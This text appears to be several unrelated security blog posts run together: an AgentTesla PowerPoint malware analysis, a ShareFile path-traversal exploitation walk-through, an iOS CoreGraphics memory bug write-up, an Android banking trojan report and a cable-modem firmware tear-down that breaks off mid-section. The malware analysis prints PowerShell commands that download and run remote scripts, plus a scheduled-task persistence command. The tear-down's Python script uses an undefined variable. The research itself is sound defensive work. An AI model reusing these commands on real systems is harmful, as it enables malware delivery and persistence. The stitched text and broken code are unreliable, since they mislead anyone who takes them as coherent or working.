This isn’t a real introduction post, just a note that I’m migrating from Google Blogger to Github Pages with Octopress. So far it’s great. I’m going to be slowly migrating all posts over from Blogger into here, though I may skip a few early posts that aren’t as interesting.

Hopefully it provides me with the functionality that I’ve been looking for.

Authored by Anuradha M

McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.  

AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns. 

During Q2, 2021, we have seen an increase in PowerPoint malware. 

In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: “New PO300093 Order” as shown in Figure 2. The attachment filename is “300093.pdf.ppam”. 

PPAM file: 

This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.  

Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros. 

Technical Analysis: 

Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.

From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file. 

 The PPAM file contains the following files and directories which can be seen upon extraction. 

• _rels\.rels 
• [Content_Types].xml 
• ppt\rels\presentation.xml.rels 

• ppt\asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin – Malicious file 
• ppt\presentation.xml 

Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity. 

As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded. 

The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API. 

Below are the parameters passed to CreateProcessA() API: 

kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D, 

Below is the command line parameter of mshta: 

mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis. 

Later mshta.exe spawns powershell.exe as a child process. 

Below is the command line parameters of PowerShell: 

powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB); 

PowerShell downloads and executed script files from the above-mentioned URLs.  

The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”: 

There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself. 

Schedule Tasks: 

To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.   

The new task name is “SECOTAKSA”. Its action is to execute the command “mshta hxxp:// //1230948%[email protected]/p/27.html” and it’s called every 80 minutes.  

Below is the command line parameters of schtasks: 

schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%[email protected]/p/27.html\“” 

Infection Chain: 

Process Tree: 

Mitigation: 

McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have  DAT coverage for this variant of malware. 

This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.  

The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN! 

Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack. 

Expert Rule authored based on the below infection chain: 

POWERPNT.EXE –> mshta.exe  

Expert Rule: 

Rule { 

  Process { 

    Include OBJECT_NAME { -v “powerpnt.exe” } 

  } 

  Target { 

    Match PROCESS { 

       Include OBJECT_NAME { -v “mshta.exe” } 

       Include PROCESS_CMD_LINE { -v “**http**” } 

       Include -access “CREATE” 

    } 

  } 

} 

IOCs 

URLs: 

hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

hxxp:// //1230948%[email protected]/p/27.html 

hxxps://p8hj[.]blogspot[.]com/p/27.html 

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt 

EML files: 

72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3 

0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0 

fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253 

38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb  

PPAM files: 

fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 

6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3 

9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b 

ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd 

c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d 

Extracted AgentTesla files: 

71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99 

90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371 

The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blog.

Citrix ShareFile Storage Zones Controller uses a fork of the third party library NeatUpload. Versions before 5.11.20 are affected by a relative path traversal vulnerability (CTX328123/CVE-2021-22941) when processing upload requests. This can be exploited by unauthenticated users to gain Remote Code Execution.

Come and join us on a walk-though of finding and exploiting this vulnerability.

Background

Part of our activities here at Code White is to monitor what vulnerabilities are published. These are then assessed to determine their criticality and exploitation potential. Depending on that, we inform our clients about affected systems and may also develop exploits for our offensive arsenal.

In April, Citrix published an advisory that addresses three vulnerabilities in ShareFile Storage Zones Controller (from here on just "ShareFile"). In contrast to a previous patch in the same product, there were no lightweight patches available, which could have been analysed quickly. Instead, only full installation packages were available. So, we downloaded StorageCenter_5.11.18.msi to have a look at it.

The Travelogue

A first glance at the files contained in the .msi file revealed the third party library NeatUpload.dll. We knew that the latest version contains a Padding Oracle vulnerability, and since the NeatUpload.dll file had the same .NET file version number as ShareFile (i. e., 5.11.18), chances were that somebody had reported that very vulnerability to Citrix.

After installation of version 5.11.18 of ShareFile, attaching to the w3wp.exe process with dnSpy and opening the NeatUpload.dll, we noticed that the handler class Brettle.Web.NeatUpload.UploadStateStoreHandler was missing. So, it must have either been removed by Citrix or they used an older version. Judging by the other classes in the library, the version used by ShareFile appeared to share similarities with NeatUpload 1.2 available on GitHub.

So, not a quick win, afterall? As we did not find a previous version of ShareFile such as 5.11.17, that we could use to diff against 5.11.18, we decided to give it a try to look for something in 5.11.18.

Finding A Path From Sink To Source

Since NeatUpload is a file upload handling library, our first attempts were focused around analysing its file handling. Here FileStream was a good candidate to start with. By analysing where that class got instantiated, the first result already pointed directly to a method in NeatUpload, the Brettle.Web.NeatUpload.UploadContext.WritePersistFile() method. Here a file gets written with something that appears to be some kind of metrics of an upload request:

By following the call hierarchy, one eventually ends up in Brettle.Web.NeatUpload.UploadHttpModule.Init(HttpApplication), which is the initialization method for System.Web.IHttpModule:

That method is used to register event handlers that get called during the life cycle of an ASP.NET request. That module is also added to the list of modules in C:\inetpub\wwwroot\Citrix\StorageCenter\web.config:

After verifying that there is a direct path from the UploadHttpModule processing a request to a FileStream constructor, we have to check whether the file path and contents can be controlled. Back in UploadContext.WritePersistFile(), both the file path and contents include the PostBackID property value. By following the call hierarchy of the assignment of the UploadContext.postBackID field that backs that property, there is also a path originating from the UploadHttpModule. In FilteringWorkerRequest.ParseOrThrow(), the return value of a FieldNameTranslator.FileFieldNameToPostBackID(string) call ends up in the assignment of that field:

The condition of that if branch is that text5 and text4 are set and that FieldNameTranslator.FileFieldNameToPostBackID(string) returns a value for text4. text5 originates from the filename attribute of a Content-Disposition multi-part header and text4 from its name attribute (see lines 514–517). That means, the request must be a multipart message with one part having a header like this:

Content-Disposition: form-data; name="text4"; filename="text5"

As for text6, the FieldNameTranslator.FileFieldNameToPostBackID(string) method call either returns the value of the FieldNameTranslator.PostBackID field if present:

By following the assignment of that FieldNameTranslator.PostBackID field, it becomes clear that the internal constructor of FieldNameTranslator takes it from a request query string parameter:

So, let's summarize our knowledge of the HTTP request requirements so far:

POST /default.aspx?foo HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary="boundary"
Content-Length: 94

--boundary
Content-Disposition: form-data; name="text4"; filename="text5"


--boundary--

The request path and query string are not yet known, so we'll simply use dummies. This works because HTTP modules are not bound to paths like HTTP handlers are.

Important Checkpoints Along The Route

Let's set some breakpoints at some critical points and ensure they get reached and behave as assumed:

• UploadHttpModule.Application_BeginRequest() – to ensure the HTTP module is actually active (the BeginRequest event handler is the first in the chain of raised events)
• FieldNameTranslator..ctor() – to ensure the FieldNameTranslator.PostBackID field gets set with our value
• FilteringWorkerRequest.ParseOrThrow() – to ensure the multipart parsing works as expected
• UploadContext.set_PostBackID(string) – to ensure the UploadContext.postBackID field is set with our value
• UploadContext.WritePersistFile() – to ensure the file path and content contain our value

After sending the request, the break point at UploadHttpModule.Application_BeginRequest() should be hit. Here we can also see that the module expects the RawUrl to contain upload and .aspx:

Let's change default.aspx to upload.aspx and send the request again. This time the break point at the constructor of FieldNameTranslator should be hit. Here we can see that the PostBackID field value is taken from a query string parameter named id or uploadid (which is actually configured in the web.config file).

After sending a new request with the query string id=foo, our next break point at FilteringWorkerRequest.ParseOrThrow() should be hit. After stepping through that method, you'll notice that some additional parameters bp and accountid are expected:

Let's add them with bogus values and try it again. This time the break point at UploadContext.WritePersistFile() should get hit where the FileStream gets created:

So, now we have reached the FileStream constructor but the UploadContext.PostBackID field value is null as it hasn't been set yet.

Are We Still On Track?

You may have noticed that the break point at UploadContext.set_PostBackID(string) also hasn't been hit yet. This is because the while loop in FilteringWorkerRequest.ParseOrThrow() uses the result of FilteringWorkerRequest.CopyUntilBoundary(string, string, string) as condition but it returns false on its first call so the while block never gets executed.

When looking at the code of CopyUntilBoundary(string, string, string) (not depicted here), it appears that it fills some buffer with the posted data and returns false if _doneReading is true. The byte array tmpBuffer has a size of 4096 bytes, which our minimalistic example request certainly does not exceed.

After sending a multipart part that is larger than 4096 bytes the break point at the FileStream should get hit twice, once with a null value originating from within the while condition's FilteringWorkerRequest.CopyUntilBoundary(string, string, string) call and once with foo originating from within the while block:

Stepping into the FileStream constructor also shows the resulting path, which is C:\inetpub\wwwroot\Citrix\StorageCenter\context\foo. Although context does not exist, we're already within the document root directory that the w3wp.exe process user has full control of:

Let's prove this by writing a file to it using id=../foo:

We have reached our destination, we can write into the web root directory!

What's In The Backpack?

Now that we're able to write files, how can we exploit this? We have to keep in mind that the id/uploadid parameter is used for both the file path and the content.

That means, the restriction is that we can only use characters that are valid in Windows file system paths. According to the naming conventions of files and paths, the following characters are not allowed:

• Characters in range of 0–31 (0x00–0x1F)
• < (less than)
• > (greater than)
• : (colon)
• " (double quote)
• | (vertical bar or pipe)
• ? (question mark)
• * (asterisk)

Here, especially < and > are daunting as we can't write an .aspx web shell, which would require <% … %> or <script runat="server">…</script> blocks. Binary files like DLLs are also out as they require bytes in the range 0–31.

So, is that the end of this journey? At best a denial of service when overwriting existing files? Have we already tried hard enough?

Running With Razor

If you are a little more familiar with ASP.NET, you will probably know that there are not just Web Forms (i. e., .aspx, .ashx, .asmx, etc.) but also two other web application frameworks, one of them being MVC (model/view/controller). And while the models and controllers are compiled to binary assemblies, the views are implemented in separate .cshtml files. These use a different syntax, the Razor Pages syntax, which uses @ symbol to transition from HTML to C#:

@("Hello, World!")

And ShareFile does not just use Web Forms but also MVC:

Note that we can't just add new views as their rendering is driven by the corresponding controller. But we can overwrite an existing view file like the ConfigService\Views\Shared\Error.cshtml, which is accessible via /ConfigService/Home/Error:

What is still missing now is the writing of the actual payload using Razor syntax. We won't show this here, but here is a hint: unlike Unix-based systems, Windows doesn't require each segment in a file path to exist as it gets resolved symbolically. That means, we could use additional "directories" to contain the payload as long as we "step out" of them so that the resolved path still points to the right file.

Timeline And Fix

Code White reported the vulnerability to Citrix on May 14th. On August 25th, Citrix released the ShareFile Storage Zones Controller 5.11.20 to address this vulnerability by validating the passed value before assigning FieldNameTranslator.PostBackID:

On September 14th, Citrix published the Security Bulletin CTX328123.

TLDR;

ZecOps identified and reproduced an Out-Of-Bounds Write vulnerability that can be triggered by opening a malformed PDF. This vulnerability reminded us of the FORCEDENTRY vulnerability exploited by NSO/Pegasus according to the CitizenLabs blog.

As a brief background: ZecOps have analyzed several devices of Al-Jazeera journalists in the summer 2020 and automatically and successfully found compromised devices without relying on any IOC. These attacks were later attributed to NSO / Pegasus.
ZecOps Mobile EDR and Mobile XDR are available here.

Noteworthy, although these two vulnerabilities are different – they are close enough and worth a deeper read.

Timeline:

• We reported this vulnerability on September 1st, 2020 – iOS 14 beta was vulnerable at the time.
• The vulnerability was patched on September 14th, 2020 – iOS 14 beta release.
• Apple contacted us on October 20, 2020 – claiming that the bug was already fixed – (“We were unable to reproduce this issue using any current version of iOS 14. Are you able to reproduce this issue using any version of iOS 14? If so, we would appreciate any additional information you can provide us, such as an updated proof-of-concept.”).
  No CVE was assigned.

It is possible that NSO noticed this incremental bug fix, and dived deeper into CoreGraphics.

The Background

Earlier last year, we obtained a PDF file that cannot be previewed on iOS. The PDF sample crashes previewUI with segmentation fault, meaning that a memory corruption was triggered by the PDF.

Open the PDF previewUI flashes and shows nothing:

The important question is: how do we find out the source of the memory corruption?

The MacOS preview works fine, no crash. Meaning that it’s the iOS library that might have an issue. We confirmed the assumption with the iPhone Simulator, since the crash happened on the iPhone Simulator.

It’s great news since Simulator on MacOS provides better debug tools than iOS. However, having debug capability is not enough since the process crashes only when the corrupted memory is being used, which is AFTER the actual memory corruption.

We need to find a way to trigger the crash right at the point the memory corruption happens.

The idea is to leverage Guard Malloc or Valgrind, making the process crash right at the memory corruption occurs.

“Guard Malloc is a special version of the malloc library that replaces the standard library during debugging. Guard Malloc uses several techniques to try and crash your application at the specific point where a memory error occurs. For example, it places separate memory allocations on different virtual memory pages and then deletes the entire page when the memory is freed. Subsequent attempts to access the deallocated memory cause an immediate memory exception rather than a blind access into memory that might now hold other data.”

Environment Variables Injection

In this case we cannot simply add an environment variable with the command line since the previewUI launches on clicking the PDF which does not launch from the terminal, we need to inject libgmalloc before the launch.

The process “launchd_sim” launches Simulator XPC services with a trampoline process called “xpcproxy_sim”. The “xpcproxy_sim” launches target processes with a posix_spawn system call, which gives us an opportunity to inject environment variables into the target process, in this case “com.apple.quicklook.extension.previewUI”.

The following lldb command “process attach –name xpcproxy_sim –waitfor” allows us to attach xpcproxy_sim then set a breakpoint on posix_spawn once it’s launched.

Once the posix_spawn breakpoint is hit, we are able to read the original environment variables by reading the address stored in the $r9 register.

By a few simple lldb expressions, we are able to overwrite one of the environment variables into “DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib”, injection complete.

Continuing execution, the process crashed almost right away.

Analyzing the Crash

Finally we got the Malloc Guard working as expected, the previewUI crashes right at the memmove function that triggers the memory corruption.

After libgmalloc injection we have the following backtrace that shows an Out-Of-Bounds write occurs in “CGDataProviderDirectGetBytesAtPositionInternal”.

Thread 3 Crashed:: Dispatch queue: PDFKit.PDFTilePool.workQueue
0   libsystem_platform.dylib      	0x0000000106afc867 _platform_memmove$VARIANT$Nehalem + 71
1   com.apple.CoreGraphics        	0x0000000101b44a98 CGDataProviderDirectGetBytesAtPositionInternal + 179
2   com.apple.CoreGraphics        	0x0000000101d125ab provider_for_destination_get_bytes_at_position_inner + 562
3   com.apple.CoreGraphics        	0x0000000101b44b09 CGDataProviderDirectGetBytesAtPositionInternal + 292
4   com.apple.CoreGraphics        	0x0000000101c6c60c provider_with_softmask_get_bytes_at_position_inner + 611
5   com.apple.CoreGraphics        	0x0000000101b44b09 CGDataProviderDirectGetBytesAtPositionInternal + 292
6   com.apple.CoreGraphics        	0x0000000101dad19a get_chunks_direct + 242
7   com.apple.CoreGraphics        	0x0000000101c58875 img_raw_read + 1470
8   com.apple.CoreGraphics        	0x0000000101c65611 img_data_lock + 10985
9   com.apple.CoreGraphics        	0x0000000101c6102f CGSImageDataLock + 1674
10  com.apple.CoreGraphics        	0x0000000101a2479e ripc_AcquireRIPImageData + 875
11  com.apple.CoreGraphics        	0x0000000101c8399d ripc_DrawImage + 2237
12  com.apple.CoreGraphics        	0x0000000101c68d6f CGContextDrawImageWithOptions + 1112
13  com.apple.CoreGraphics        	0x0000000101ab7c94 CGPDFDrawingContextDrawImage + 752

With the same method, we can take one step further, with the MallocStackLogging flag libgmalloc provides, we can track the function call stack at the time of each allocation.

After setting the “MallocStackLoggingNoCompact=1”, we got the following backtrace showing that the allocation was inside CGDataProviderCreateWithSoftMaskAndMatte.

ALLOC 0x6000ec9f9ff0-0x6000ec9f9fff [size=16]:
0x7fff51c07b77 (libsystem_pthread.dylib) start_wqthread |
0x7fff51c08a3d (libsystem_pthread.dylib) _pthread_wqthread |
0x7fff519f40c4 (libdispatch.dylib) _dispatch_workloop_worker_thread |
0x7fff519ea044 (libdispatch.dylib) _dispatch_lane_invoke |
0x7fff519e9753 (libdispatch.dylib) _dispatch_lane_serial_drain |
0x7fff519e38cb (libdispatch.dylib) _dispatch_client_callout |
0x7fff519e2951 (libdispatch.dylib) _dispatch_call_block_and_release |
0x7fff2a9df04d (com.apple.PDFKit) __71-[PDFPageBackgroundManager forceUpdateActivePageIndex:withMaxDuration:]_block_invoke |
0x7fff2a9dfe76 (com.apple.PDFKit) -[PDFPageBackgroundManager _drawPageImage:forQuality:] |
0x7fff2aa23b85 (com.apple.PDFKit) -[PDFPage imageOfSize:forBox:withOptions:] |
0x7fff2aa23e1e (com.apple.PDFKit) -[PDFPage _newCGImageWithBox:bitmapSize:scale:offset:backgroundColor:withRotation:withAntialiasing:withAnnotations:withBookmark:withDelegate:] |
0x7fff2aa22a40 (com.apple.PDFKit) -[PDFPage _drawWithBox:inContext:withRotation:isThumbnail:withAnnotations:withBookmark:withDelegate:] |
0x7fff240bdfe0 (com.apple.CoreGraphics) CGContextDrawPDFPage |
0x7fff240bdac4 (com.apple.CoreGraphics) CGContextDrawPDFPageWithDrawingCallbacks |
0x7fff244bb0b1 (com.apple.CoreGraphics) CGPDFScannerScan | 0x7fff244bab02 (com.apple.CoreGraphics) pdf_scanner_handle_xname |
0x7fff2421e73c (com.apple.CoreGraphics) op_Do |
0x7fff2414dc94 (com.apple.CoreGraphics) CGPDFDrawingContextDrawImage |
0x7fff242fed6f (com.apple.CoreGraphics) CGContextDrawImageWithOptions |
0x7fff2431999d (com.apple.CoreGraphics) ripc_DrawImage |
0x7fff240ba79e (com.apple.CoreGraphics) ripc_AcquireRIPImageData |
0x7fff242f6fe8 (com.apple.CoreGraphics) CGSImageDataLock |
0x7fff242f758b (com.apple.CoreGraphics) img_image |
0x7fff24301fe2 (com.apple.CoreGraphics) CGDataProviderCreateWithSoftMaskAndMatte |
0x7fff51bddad8 (libsystem_malloc.dylib) calloc |
0x7fff51bdd426 (libsystem_malloc.dylib) malloc_zone_calloc 

The Vulnerability

The OOB-Write vulnerability happens in the function “CGDataProviderDirectGetBytesAtPositionInternal” of CoreGraphics library, the allocation of the target memory was inside the function “CGDataProviderCreateWithSoftMaskAndMatte“.

It allocates 16 bytes of memory if the “bits_per_pixel” equals or less than 1 byte, which is less than copy length.

We came out with a minimum PoC and reported to Apple on September 1st 2020, the issue was fixed on the iOS 14 release. We will release this POC soon.

Authored by Fernando Ruiz

McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico. 

McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants. 

How does this malware spread? 

The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet. 

Here’s how to protect yourself 

During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible. 

Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats: 

• Employ security software on your mobile devices  
• Think twice before downloading and installing suspicious apps especially if they request SMS or Notification listener permissions. 
• Use official app stores however never trust them blindly as malware may be distributed on these stores too so check for permissions, read reviews and seek out developer information if available. 
• Use token based second authentication factor apps (hardware or software) over SMS message authentication 

Interested in the details? Here’s a deep dive on this malware 

Behavior: Carefully guiding the victim to provide their credentials 

Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app: 

– Fake Tool to report fraudulent movements that creates a sense of urgency: 

“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically. 

At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.” 

– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security: 

“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials. 

If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does. 

Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor. 

In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.  

In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data. 

Table Headers: Date, From, Body Message, User, Password, Id: 

This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development. 

IoC 

SHA256: 

• 84df7daec93348f66608d6fe2ce262b7130520846da302240665b3b63b9464f9 
• b946bc9647ccc3e5cfd88ab41887e58dc40850a6907df6bb81d18ef0cb340997 
• 3f773e93991c0a4dd3b8af17f653a62f167ebad218ad962b9a4780cb99b1b7e2 
• 1deedb90ff3756996f14ddf93800cd8c41a927c36ac15fcd186f8952ffd07ee0 

Domains: 

• https[://]appmx2021.com 

The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blog.

Picked up one of these a little while back at the behest of a good friend.

It’s an Arris Surfboard SB8200 and is one of the most popular cable modems out there. Other than the odd CVE here and there and a confirmation that Cable Haunt could crash the device, there doesn’t seem to be much other research on these things floating around.

Well, unfortunately, that’s still the case, but I’d like it to change. Due to other priorities, I’ve gotta shelve this project for the time being, so I’m releasing this blog as a write-up to kickstart someone else that may be interested in tearing this thing apart, or at the very least, it may provide a quick intro to others pursuing similar projects.

THE HARDWARE

There are a few variations of this device floating around. My colleague, Nick Miles, and I each purchased one of these from the same link… and each received totally different versions. He received the CM8200a while I received the SB8200. They’re functionally the same but have a few hardware differences.

Since there isn’t any built-in wifi or other RF emission from these modems, we’re unable to rely on images pilfered from FCC-related documents and certification labs. As such, we’ve got to tear it apart for ourselves. See the following images for details.

As can be seen in the above images, there are a few key differences between these two revisions of the product. The SB8200 utilizes a single chip for all storage, whereas the CM8200a has two chips. The CM8200a also has two serial headers (pictured at the bottom of the image). Unfortunately, these headers only provide bootlog output and are not interactive.

THE FIRMWARE

Arris states on its support pages for these devices that all firmware is to be ISP controlled and isn’t available for download publicly. After scouring the internet, I wasn’t able to find a way around this limitation.

So… let’s dump the flash storage chips. As mentioned in the previous section, the SB8200 uses a single NAND chip whereas the CM8200a has two chips (SPI and NAND). I had some issues acquiring the tools to reliably dump my chips (multiple failed AliExpress orders for TSOP adapters), so we’re relying exclusively on the CM8200a dump from this point forward.

Dumping the contents of flash chips is mostly a matter of just having the right tools at your disposal. Nick removed the chips from the board, wired them up to various adapters, and dumped them using Flashcat.

PARSING THE FIRMWARE

Parsing NAND dumps is always a pain. The usual stock tools did us dirty (binwalk, ubireader, etc.), so we had to resort to actually doing some work for ourselves.

Since consumer routers and such are notorious for having hidden admin pages, we decided to run through some common discovery lists. We stumbled upon arpview.cmd and sysinfo.cmd.

Details on sysinfo.cmd

Jackpot.

Since we know the memory layout is different on each of our sample boards (SB8200 above), we’ll need to use the layout of the CM8200a when interacting with the dumps:

Creating 7 MTD partitions on “brcmnand.1”:
0x000000000000–0x000000620000 : “flash1.kernel0”
0x000000620000–0x000000c40000 : “flash1.kernel1”
0x000000c40000–0x000001fa0000 : “flash1.cm0”
0x000001fa0000–0x000003300000 : “flash1.cm1”
0x000003300000–0x000005980000 : “flash1.rg0”
0x000005980000–0x000008000000 : “flash1.rg1”
0x000000000000–0x000008000000 : “flash1”
brcmstb_qspi f04a0920.spi: using bspi-mspi mode
brcmstb_qspi f04a0920.spi: unable to get clock using defaults
m25p80 spi32766.0: found w25q32, expected m25p80
m25p80 spi32766.0: w25q32 (4096 Kbytes)
11 ofpart partitions found on MTD device spi32766.0
Creating 11 MTD partitions on “spi32766.0”:
0x000000000000–0x000000100000 : “flash0.bolt”
0x000000100000–0x000000120000 : “flash0.macadr”
0x000000120000–0x000000140000 : “flash0.nvram”
0x000000140000–0x000000160000 : “flash0.nvram1”
0x000000160000–0x000000180000 : “flash0.devtree0”
0x000000180000–0x0000001a0000 : “flash0.devtree1”
0x0000001a0000–0x000000200000 : “flash0.cmnonvol0”
0x000000200000–0x000000260000 : “flash0.cmnonvol1”
0x000000260000–0x000000330000 : “flash0.rgnonvol0”
0x000000330000–0x000000400000 : “flash0.rgnonvol1”
0x000000000000–0x000000400000 : “flash0”

This info gives us pretty much everything we need: NAND partitions, filesystem types, architecture, etc.

Since stock tools weren’t playing nice, here’s what we did:

Separate Partitions Manually

Extract the portion of the dump we’re interested in looking at:

dd if=dump.bin of=rg1 bs=1 count=0x2680000 skip=0x5980000

Strip Spare Data

Strip spare data (also referred to as OOB data in some places) from each section. From chip documentation, we know that the page size is 2048 with a spare size of 64.

NAND storage has a few different options for memory layout, but the most common are: separate and adjacent.

From the SB8200 boot log, we have the following line:

brcmstb_nand f04a2800.nand: detected 128MiB total, 128KiB blocks, 2KiB pages, 16B OOB, 8-bit, BCH-4

This hints that we are likely looking at an adjacent layout. The following python script will handle stripping the spare data out of our dump.

import sys

data_area = 512
spare = 16
combined = data_area + spare

with open(‘rg1’, ‘rb’) as f:
    dump = f.read()

count = int(len(dump) / combined)
out = b’’

for i in range(count):
    out = out + dump[i*block : i*combined + data_area]

with open(‘rg1_stripped’, ‘wb’) as f:
    f.write(out)

Change Endianness

